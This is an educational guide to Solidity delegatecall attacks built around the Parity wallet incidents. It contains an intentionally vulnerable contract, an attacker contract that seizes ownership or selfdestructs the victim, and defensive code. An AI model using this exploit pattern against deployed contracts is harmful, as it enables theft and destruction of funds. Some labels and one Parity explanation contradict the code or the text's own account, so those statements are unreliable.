Delegatecall & Call Injection Attacks

How the attack works and how to prevent it

JohnnyTime
JohnnyTime · Updated August 24, 2026
19 min read
Total Stolen $111,622,555
Last Attack Aug 05, 2026
Latest Victim Unistreets

Delegatecall and Call Injection Attacks: Mechanics and Prevention

The Parity Wallet hack froze $150 million and showed that a single delegatecall vulnerability can permanently destroy an entire protocol. In November 2017, an attacker exploited an unprotected initialization function to become the owner of a shared library contract, then called selfdestruct to brick hundreds of wallets forever.

This guide explains how delegatecall changes execution context, how call injection and storage collisions arise, what happened in the Parity incidents, and how to review these patterns safely.

What is a delegatecall attack?

A delegatecall attack in Solidity occurs when a malicious actor exploits a smart contract that performs a delegatecall to a target address they can control.

Unlike the standard call function, delegatecall executes target code within the context of the calling contract. It preserves msg.sender and msg.value, while reading from and writing to the caller's storage. This behavior supports upgradeable contracts and proxies, but it also creates strict trust and storage-layout requirements.

The bank vault analogy

Think of delegatecall like giving someone the keys to your bank vault and asking them to organize it for you inside the vault itself.

If that person is trustworthy (like a pre-approved library contract), they'll do exactly what you expect. But if they're malicious (an attacker-controlled contract), they can rearrange everything - or just empty the vault entirely. That's the danger of delegatecall: you are essentially executing someone else's code with full, unrestricted access to your contract's state.

Risks created by untrusted delegatecall targets

$0M+
Total Value Lost/Frozen
$0M
Parity Wallet (Frozen Forever)
0
Wallets Permanently Disabled

Delegatecall vulnerabilities have contributed to several permanent losses:

Attack Year Impact
Parity Wallet Hack 2017 $150M frozen forever
Parity Wallet (First Attack) 2017 $30M stolen
Various Proxy Exploits 2018-2023 $50M+ combined

Auditors and attackers alike treat delegatecall as the most dangerous opcode in Solidity, because it hands foreign code complete access to the caller's storage with no restriction.

Call vs delegatecall: the critical difference

Secure Solidity development requires a clear distinction between these two opcodes:

Feature call delegatecall
Execution Context Target contract Calling contract
Storage Access Target's storage Caller's storage
msg.sender Caller's address Original sender (preserved)
msg.value Can be set Preserved from original
Use Case Calling external functions Logic libraries & Proxies
Risk Level Moderate Critical

Think of call as visiting a friend's house. You might ask them to do something, but you can't just rearrange their furniture. But delegatecall? That's inviting a complete stranger into your house and telling them to redecorate however they want.

📞
call()
"Executes code in the target contract's context. Storage changes happen in the target. Like visiting someone's house."
Risk: Lower
delegatecall()
"Executes target code in the caller's context. Storage changes happen in YOUR contract. Like inviting a stranger into your house."
Risk: Critical
🔒
staticcall()
"Read-only call that reverts if any state modification is attempted. Safe for querying external contracts."
Risk: Lowest

The Parity Wallet hack: the $150 million freeze

The Parity Wallet hack cost $150 million and reset how the industry treats proxy patterns.

What was Parity Wallet?

Parity was one of the most popular Ethereum wallets and node implementations, created by Gavin Wood (Ethereum co-founder).

The architecture was simple:

  • Multi-signature wallets for enhanced security

  • Shared library contract to reduce deployment costs

  • Wallets used delegatecall to access library functions

At its peak:

  • Hundreds of multi-sig wallets deployed

  • Millions in ETH stored across the network

  • Trusted by major projects and organizations

The first attack: July 2017

In July 2017, the first Parity Wallet vulnerability was exploited. An attacker discovered that the library's initWallet() function could be called on individual wallet instances, allowing ownership takeover.

Result: $30 million stolen.

Parity patched the first vulnerability, but the revised architecture still left the shared library uninitialized.

The second attack: November 6, 2017

This is where disaster truly struck.

A user named "devops199" discovered that the library contract itself had never been initialized. The patched code allowed anyone to call initWallet() directly on the library - not through a proxy, but on the actual library contract.

"I accidentally killed it." - devops199, after triggering the vulnerability

What happened:

  1. devops199 called initWallet() on the library contract

  2. They became the owner of the shared library

  3. They called kill() (selfdestruct) to "fix" the mistake

  4. The library code was permanently destroyed

  5. All wallets delegating to that library became frozen

The aftermath

No funds were stolen in the second incident. The library code was destroyed, and with it every dependent wallet's ability to move ETH.

Reported impact:

  • $150 million in ETH frozen forever

  • 587 wallets permanently disabled

  • No recovery mechanism possible

  • Funds remain locked to this day

The Parity Wallet incidents illustrate two related risks. Code reached through delegatecall operates on the caller's context, while a proxy that depends on missing library code can no longer execute the functions needed to move funds.

🔒
"Never use delegatecall with user-supplied target addresses."
This single rule would have prevented both Parity Wallet hacks. The $150 million frozen forever remains a permanent reminder that delegatecall grants foreign code complete access to your contract's storage.

How delegatecall attacks work, step by step

A delegatecall takeover has four stages, and the setup work (matching the victim's storage layout) happens before any transaction touches the victim.

The attack flow

Step What Happens State
1 Attacker identifies vulnerable contract Contract has delegatecall with user-controlled target
2 Attacker deploys malicious contract Storage slots aligned with victim
3 Attacker calls vulnerable function Passes malicious contract address
4 Victim executes delegatecall Code runs in victim's context
5 Malicious code modifies storage owner variable overwritten
6 Attacker now owns the contract Full control achieved

The four phases

Phase 1, reconnaissance. The attacker identifies a contract with a delegatecall that accepts user input for the target address.

Phase 2, payload preparation. The attacker deploys a malicious contract with a storage layout matching the victim's, so variables align during the attack.

Phase 3, execution. The attacker calls the vulnerable function, passing their malicious contract address. The victim contract executes delegatecall, running the attacker's code with full access to the victim's storage.

Phase 4, exploitation. The malicious code overwrites critical state variables (like owner) or executes selfdestruct to permanently destroy the contract.

1
Tap to reveal
Reconnaissance

The attacker identifies a contract with a delegatecall that accepts user input for the target address - or finds an uninitialized library contract.

2
Tap to reveal
Payload Preparation

Deploy a malicious contract with a storage layout matching the victim's. Storage Slot 0 must align with the victim's owner variable for the takeover to work.

3
Tap to reveal
Execute Delegatecall

Call the vulnerable function with the malicious contract address. The victim executes delegatecall, running the attacker's code with full access to the victim's storage.

4
Tap to reveal
Ownership Takeover (or Destruction)

The malicious code overwrites owner (takeover) or calls selfdestruct (permanent destruction). The attacker now controls - or has destroyed - the contract.


The Smart Contract Hacking course includes lab exercises on unsafe delegatecall targets, storage collisions, and proxy initialization.

{
  "title": "🎬 Storage collision: delegatecall overwrites the proxy's owner",
  "stage": { "width": 920, "height": 440 },
  "nodes": [
    { "id": "attacker", "label": "Attacker", "role": "deploys + calls", "emoji": "🧑‍💻", "x": 60, "y": 200, "color": "red" },
    { "id": "proxy", "label": "The Proxy", "role": "owner @ slot 0", "emoji": "🏦", "x": 440, "y": 60, "color": "cyan" },
    { "id": "evil", "label": "Malicious Lib", "role": "pwn() writes slot 0", "emoji": "📜", "x": 440, "y": 330, "color": "purple" }
  ],
  "links": [
    { "from": "attacker", "to": "proxy" },
    { "from": "proxy", "to": "evil" },
    { "from": "evil", "to": "proxy" },
    { "from": "attacker", "to": "evil" }
  ],
  "nets": [
    { "id": "ctrl", "label": "Proxy owner" }
  ],
  "legend": [
    { "cls": "call", "label": "call / delegatecall" },
    { "cls": "token", "label": "value moved" },
    { "cls": "sig", "label": "storage write" },
    { "cls": "fail", "label": "reverted / destroyed" }
  ],
  "scenarios": {
    "Vulnerable (user-controlled target)": [
      { "note": "VulnerableDelegator keeps <b>owner</b> at storage slot 0 and exposes execute(target, data) that delegatecalls <b>any</b> address.", "hi": ["proxy"], "bal": { "proxy": "owner: deployer", "evil": "-" }, "net": { "ctrl": "deployer" } },
      { "note": "Attacker deploys a malicious lib whose slot 0 is also an address - layouts aligned.", "hi": ["attacker","evil"], "chip": { "from": "attacker", "to": "evil", "label": "deploy lib", "cls": "call" }, "bal": { "evil": "writes slot 0" } },
      { "note": "Attacker calls <b>execute(evilLib, pwn())</b> on the proxy.", "hi": ["attacker","proxy"], "chip": { "from": "attacker", "to": "proxy", "label": "execute(evil, pwn)", "cls": "call" } },
      { "note": "The proxy <b>delegatecalls</b> the lib: the lib's code runs in the proxy's storage context.", "tone": "bad", "hi": ["proxy","evil"], "chip": { "from": "proxy", "to": "evil", "label": "delegatecall", "cls": "call" } },
      { "note": "pwn() writes slot 0 - but slot 0 is the proxy's <b>owner</b>. The attacker is now owner.", "tone": "bad", "hi": ["evil","proxy"], "chip": { "from": "evil", "to": "proxy", "label": "slot 0 = attacker", "cls": "sig" }, "bal": { "proxy": "owner: ATTACKER" }, "net": { "ctrl": "ATTACKER" } },
      { "note": "Owning the proxy, the attacker drains it - or selfdestructs the library and freezes everything (Parity: $150M).", "tone": "bad", "hi": ["attacker","proxy"], "chip": { "from": "attacker", "to": "proxy", "label": "drain / selfdestruct", "cls": "fail" } }
    ],
    "Fixed (fixed, trusted target)": [
      { "note": "The fix removes the user-controlled target: the proxy delegatecalls only a <b>fixed, audited</b> implementation - the address is hardcoded, not passed by the caller.", "hi": ["proxy"], "bal": { "proxy": "owner: deployer", "evil": "-" }, "net": { "ctrl": "deployer" } },
      { "note": "Attacker calls execute(evilLib, ...) - but the target is no longer caller-supplied, so the malicious address is rejected.", "tone": "ok", "hi": ["attacker","proxy"], "chip": { "from": "attacker", "to": "proxy", "label": "evil target rejected", "cls": "fail" } },
      { "note": "Any delegatecall now lands on trusted library code only - no attacker bytecode ever touches the proxy's storage.", "tone": "ok", "hi": ["proxy"] },
      { "note": "Slot 0 (owner) is never attacker-writable. The proxy stays under its rightful owner.", "tone": "ok", "hi": ["proxy"], "bal": { "proxy": "owner: safe" }, "net": { "ctrl": "deployer" } }
    ]
  }
}

Delegatecall vulnerable code example

Let's examine the classic vulnerability pattern that enables delegatecall attacks.

Warning: This contract is intentionally vulnerable. Never use this pattern in production.

The vulnerable execute function

// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract VulnerableDelegator {
    // Storage Slot 0: Critical state variable
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    // VULNERABILITY: Allows delegatecall to arbitrary user-supplied address
    function execute(address target, bytes memory data) public {
        // This executes code at `target` inside THIS contract's context
        // An attacker can pass a malicious contract that overwrites `owner`
        (bool success, ) = target.delegatecall(data);
        require(success, "Execution failed");
    }
}

Why is this vulnerable?

The problem is the user-controlled target address:

  1. Anyone can call execute() with any address

  2. The target code runs with full access to this contract's storage

  3. No validation of the target address

  4. No access control on the function

  5. Attacker can overwrite owner at storage slot 0

This single function is all an attacker needs to take complete control of the contract.

Delegatecall attack diagram - Same slots, two outcomes: call keeps storage separate, delegatecall shares it
Same slots, two outcomes: call keeps storage separate, delegatecall shares it

Delegatecall attacker contract example

Here's how an attacker exploits the vulnerable delegator.

// ATTACKER CONTRACT - Educational purposes only
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract DelegatecallAttacker {
    // CRITICAL: Must mirror the storage layout of the victim
    // Storage Slot 0 must match VulnerableDelegator's 'owner' variable
    address public owner;

    // This function will be executed via delegatecall in victim's context
    function pwn() public {
        // When run via delegatecall, 'owner' refers to victim's storage slot 0
        // msg.sender is preserved from the original transaction (the attacker)
        owner = msg.sender;
    }

    // Alternative: Destroy the victim contract entirely (Parity-style)
    function destroy() public {
        // When called via delegatecall, selfdestruct destroys the CALLING contract
        // This is how the Parity Wallet hack permanently froze $150M
        selfdestruct(payable(msg.sender));
    }

    // Execute the attack
    function attack(address vulnerable) external {
        // Encode the call to pwn()
        bytes memory payload = abi.encodeWithSignature("pwn()");

        // Call the vulnerable contract's execute function
        (bool success, ) = vulnerable.call(
            abi.encodeWithSignature("execute(address,bytes)", address(this), payload)
        );
        require(success, "Attack failed");
    }
}

Attack execution summary

  1. Deploy the attacker contract with a matching storage layout

  2. Call attack() with the vulnerable contract's address

  3. execute triggers a delegatecall into the attacker's pwn() function

  4. owner is overwritten with the attacker's address

  5. The attacker now owns the vulnerable contract

In the Parity incident the attacker reached destroy() rather than pwn(), which bricked the contract instead of transferring ownership.


How to prevent delegatecall attacks

Prevention comes down to two questions: who chooses the target address, and who can initialize the implementation. Both defenses below answer one of them.

Effectiveness95/100

What it does: Uses immutable or owner-only setter for the delegatecall target. Users can never control which code executes.

When to use: Every contract that uses delegatecall. This is the cardinal rule of delegatecall security.

Limitation: Immutable addresses can't be upgraded. Owner-only setters require trust in the admin.

Effectiveness90/100

What it does: Battle-tested proxy implementations (Transparent, UUPS, Beacon) with proper access controls and storage management.

When to use: Any upgradeable contract architecture. Never roll your own proxy logic.

Limitation: Added complexity. Must maintain consistent storage layouts across upgrades.

Effectiveness85/100

What it does: Uses OpenZeppelin's Initializable contract to ensure initialize() can only be called once. Prevents the exact Parity vulnerability.

When to use: Every proxy/library contract. Initialize the implementation contract in the constructor or immediately after deployment.

Limitation: Developers sometimes forget to initialize the implementation contract directly (not just through the proxy).

1. Never accept user-supplied delegatecall targets

This is the cardinal rule of delegatecall security.

Warning: Never use delegatecall with an address supplied by users or untrusted sources. This single rule prevents the majority of delegatecall exploits.

2. Hardcode trusted library addresses

If your contract delegates logic to a library, hardcode the address or store it in a protected state variable:

Approach Security Level Flexibility
Hardcoded immutable Highest None
Owner-only setter High Upgradeable
Governance-controlled High DAO-managed
User-supplied Vulnerable Maximum

3. Use access control modifiers

Restrict delegatecall-enabled functions:

modifier onlyOwner() {
    require(msg.sender == owner, "Not authorized");
    _;
}

function execute(bytes memory data) public onlyOwner {
    // Only owner can trigger delegatecall
}

4. Implement storage layout protection

When using proxy patterns, ensure storage layouts between proxy and implementation contracts are perfectly aligned:

// Use explicit storage slots (EIP-1967)
bytes32 private constant IMPLEMENTATION_SLOT =
    bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);

5. Use OpenZeppelin's proxy libraries

For upgradeable contracts, use battle-tested patterns:

  • Transparent Proxy Pattern - Admin functions separated from user calls

  • UUPS (Universal Upgradeable Proxy Standard) - Upgrade logic in implementation

  • Beacon Proxy - Multiple proxies sharing one implementation

Never roll your own delegatecall logic.

6. Protect initialization functions

Ensure initialization functions can only be called once:

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";

contract SecureLibrary is Initializable {
    function initialize() public initializer {
        // Can only be called once
    }
}

Delegatecall secure code example

The following example combines an implementation allowlist, initialization controls, and upgrade authorization. Adapt and audit it for the selected proxy architecture before deployment.

// DEFENSIVE EXAMPLE - adapt and audit before production use
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract SecureDelegator {
    // Storage Slot 0: Protected owner address
    address public owner;
    // Storage Slot 1: Trusted library (not user-controllable)
    address public trustedLibrary;

    // Events for transparency and monitoring
    event LibraryUpdated(address indexed oldLibrary, address indexed newLibrary);
    event ExecutionCompleted(bytes data, bytes returnData);
    event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);

    constructor(address _trustedLibrary) {
        require(_trustedLibrary != address(0), "Invalid library address");
        owner = msg.sender;
        trustedLibrary = _trustedLibrary;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not authorized");
        _;
    }

    // SECURE: Users cannot choose the delegatecall target
    function execute(bytes memory data) public returns (bytes memory) {
        require(trustedLibrary != address(0), "Library not set");

        // Delegatecall to pre-approved library only
        (bool success, bytes memory returnData) = trustedLibrary.delegatecall(data);
        require(success, "Execution failed");

        emit ExecutionCompleted(data, returnData);
        return returnData;
    }

    // PROTECTED: Only owner can update the library
    function updateLibrary(address _newLibrary) public onlyOwner {
        require(_newLibrary != address(0), "Invalid library address");
        require(_newLibrary != trustedLibrary, "Same library");

        address oldLibrary = trustedLibrary;
        trustedLibrary = _newLibrary;

        emit LibraryUpdated(oldLibrary, _newLibrary);
    }

    // Two-step ownership transfer for safety
    function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0), "Invalid new owner");
        address oldOwner = owner;
        owner = _newOwner;
        emit OwnershipTransferred(oldOwner, _newOwner);
    }
}

Security features at a glance

Feature Protection
Hardcoded library target Prevents user-controlled delegatecall
onlyOwner modifier Access control on sensitive functions
Address validation Prevents zero-address attacks
Event emissions Transparency and monitoring
Two-step ownership Prevents accidental ownership loss

A fixed target plus a protected initializer covers both Parity failures: the attacker can neither point the proxy at their own code nor claim the library.


Types of call attacks beyond the basics

As smart contract architectures become more complex, so do attack vectors.

1. Storage collision attacks

When proxy and implementation storage layouts don't align, attackers can manipulate critical variables:

// Proxy: Slot 0 = implementation address
// Implementation: Slot 0 = arbitrary value
// Setting Implementation.value overwrites Proxy.implementation!

Prevention: Use EIP-1967 storage slots and maintain consistent layouts across upgrades.

2. Selfdestruct via delegatecall

The Parity hack's signature move. When selfdestruct is called via delegatecall, it destroys the calling contract:

contract Library {
    function kill() public {
        selfdestruct(payable(msg.sender)); // Destroys CALLER
    }
}

Prevention: Never include selfdestruct in library contracts. Use access controls if absolutely necessary.

3. Constructor vs initializer confusion

Proxy patterns don't use constructors (they run during deployment only). Unprotected initialize() functions create vulnerabilities:

// VULNERABLE: Anyone can call initialize on the library directly
function initialize() public {
    owner = msg.sender;
}

Prevention: Use OpenZeppelin's Initializable contract with the initializer modifier.

4. Delegatecall in fallback functions

Forwarding all calls via delegatecall in fallback functions is powerful but dangerous:

fallback() external payable {
    address target = implementation;
    assembly {
        calldatacopy(0, 0, calldatasize())
        let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0)
        // ...
    }
}

Prevention: Ensure implementation can never be modified by untrusted parties.


Vulnerable

User-Controlled Target

Accepting delegatecall targets from user input gives attackers full storage access. This is the root cause of most delegatecall exploits and should never be allowed.

Partial Defense

Owner-Only Upgrade

Restricting delegatecall targets to admin-set addresses helps, but centralization risk remains. Admin key compromise can still lead to exploitation.

Recommended

OZ Proxy + Timelock + Audit

OpenZeppelin proxy patterns with governance timelocks and professional audits provide the safest upgradeable architecture available today.

Common misconceptions about delegatecall

?

"Delegatecall is inherently unsafe and should never be used."

Tap to reveal
MYTH

Delegatecall is essential for upgradeable contracts and is used safely by major protocols. The danger is user-controlled targets - not the opcode itself.

?

"selfdestruct via delegatecall destroys the library."

Tap to reveal
MYTH

When selfdestruct is called via delegatecall, it destroys the calling contract (the proxy), not the library. This is exactly how the Parity hack froze $150M permanently.

?

"Proxy patterns are safe as long as you use a well-known framework."

Tap to reveal
MYTH

Even OpenZeppelin proxies require careful implementation - consistent storage layouts, proper initialization of both proxy and implementation, and correct access control configuration.

?

"The Parity wallet funds are lost forever."

Tap to reveal
FACT

587 wallets holding $150M in ETH remain permanently frozen. The destroyed library contract cannot be restored, and no recovery mechanism exists on the Ethereum network.


Delegatecall vulnerabilities share a common thread with reentrancy attacks - both exploit the dangers of external calls in smart contracts. While reentrancy abuses callback mechanisms during value transfers, delegatecall attacks exploit execution context preservation. Mastering one requires understanding the other, as both stem from Solidity's external call semantics.

In complex DeFi exploits, delegatecall vulnerabilities are sometimes combined with flash loan attacks to provide the capital needed to interact with proxy contracts at scale, or to manipulate governance systems that control upgradeable proxies.


Quick reference: delegatecall prevention checklist

Before deploying any contract that uses delegatecall:

  • Never accept user-supplied delegatecall targets - the cardinal rule

  • Hardcode trusted library addresses or use owner-only setters

  • Use OpenZeppelin proxy patterns for upgradeability (never roll your own)

  • Protect initialization functions with initializer modifier

  • Maintain consistent storage layouts between proxy and implementation

  • Use EIP-1967 storage slots for proxy-specific variables

  • Implement access controls on all delegatecall-enabled functions

  • Never include selfdestruct in library contracts

  • Emit events for all library updates and ownership changes

  • Get professional audits before mainnet deployment

  • Monitor deployed contracts for suspicious delegatecall patterns


Test your delegatecall knowledge

5 questions - Do you understand the most dangerous opcode?

Question 1 of 5

Frequently asked questions about call attacks

A delegatecall attack is when a malicious contract tricks another contract into running harmful code using delegatecall - like handing someone the keys to your house and having them rearrange or destroy everything inside.

call executes code in the target contract's context - changes happen in the target. delegatecall executes target code in the caller's context - changes happen in YOUR contract, making it dangerous when the target is untrusted.

Over $200 million has been lost or frozen due to delegatecall vulnerabilities. The Parity Wallet hack alone accounts for $150 million frozen permanently - funds that remain inaccessible to this day.

Yes, when implemented correctly using established standards like OpenZeppelin's Transparent Proxy or UUPS. Never implement custom proxy patterns without thorough security review. Proper initialization and consistent storage layouts are essential.

Yes. A selfdestruct reached through delegatecall applies in the caller's execution context. The Parity architecture also showed that destroying a shared library can leave dependent proxies unable to execute withdrawals.


What to check before you ship a proxy

Both Parity failures trace back to the same two design decisions rather than to a runtime bug: delegatecall runs foreign code against the caller's storage, and a proxy whose implementation disappears has no path left to move funds.

So, before deployment: pin the implementation address, initialize the implementation itself and not only the proxy, keep the two storage layouts compatible, and have someone else review the upgrade path.

Practice delegatecall review

The Smart Contract Hacking course includes hands-on exercises for auditing proxies, delegatecall targets, and storage layouts.

Sources and editorial notes

Reviewed by JohnnyTime. Last updated .

Master Delegatecall & Call Injection Attacks in a safe lab

Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.

Exploit setup Root-cause tracing Patch review
Practice Delegatecall & Call Injection Attacks Free Trial